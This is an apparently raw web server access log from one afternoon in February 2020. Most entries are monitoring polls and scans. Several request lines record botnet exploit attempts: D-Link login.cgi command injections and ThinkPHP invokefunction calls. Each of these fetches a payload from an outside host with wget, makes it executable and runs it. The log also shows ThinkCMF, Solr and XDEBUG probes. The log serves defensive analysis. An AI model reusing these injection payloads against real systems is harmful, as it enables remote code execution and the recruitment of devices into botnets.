121.178.8.198 - - [21/Feb/2020:13:35:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [21/Feb/2020:13:35:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [21/Feb/2020:13:36:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [21/Feb/2020:13:36:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:13:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [21/Feb/2020:13:40:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [21/Feb/2020:13:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [21/Feb/2020:13:42:48 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
95.81.86.29 - - [21/Feb/2020:13:43:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:13:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.92.123.150 - - [21/Feb/2020:13:55:10 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.92.123.150 - - [21/Feb/2020:13:55:10 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.92.123.150 - - [21/Feb/2020:13:55:12 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.92.123.150 - - [21/Feb/2020:13:55:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [21/Feb/2020:13:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.154.45.203 - - [21/Feb/2020:13:56:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.154.45.203 - - [21/Feb/2020:13:56:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.154.45.203 - - [21/Feb/2020:13:56:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:13:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.154.45.203 - - [21/Feb/2020:13:56:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.154.45.203 - - [21/Feb/2020:13:56:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:13:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.24.193.122 - - [21/Feb/2020:14:07:00 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
191.254.42.168 - - [21/Feb/2020:14:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:14:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.81.22.14 - - [21/Feb/2020:14:12:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [21/Feb/2020:14:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [21/Feb/2020:14:18:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.185.12.219 - - [21/Feb/2020:14:18:24 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.185.12.219 - - [21/Feb/2020:14:18:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [21/Feb/2020:14:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.243.179.153 - - [21/Feb/2020:14:23:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [21/Feb/2020:14:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:14:25:04 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:14:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:14:26:04 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
85.14.70.219 - - [21/Feb/2020:14:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:14:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [21/Feb/2020:14:35:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [21/Feb/2020:14:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.61 - - [21/Feb/2020:14:36:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:14:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:14:37:12 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:14:37:13 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:14:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:14:38:15 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:14:38:15 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:14:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [21/Feb/2020:14:40:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:14:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:14:46:06 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:14:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:14:47:10 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:14:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.234.225.249 - - [21/Feb/2020:14:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:14:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:14:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.23.237.225 - - [21/Feb/2020:14:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
59.19.184.152 - - [21/Feb/2020:14:59:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
134.0.111.173 - - [21/Feb/2020:14:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:14:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.132.53 - - [21/Feb/2020:15:04:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.53 - - [21/Feb/2020:15:05:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [21/Feb/2020:15:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.132.53 - - [21/Feb/2020:15:08:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [21/Feb/2020:15:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.132.53 - - [21/Feb/2020:15:11:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.53 - - [21/Feb/2020:15:11:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [21/Feb/2020:15:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
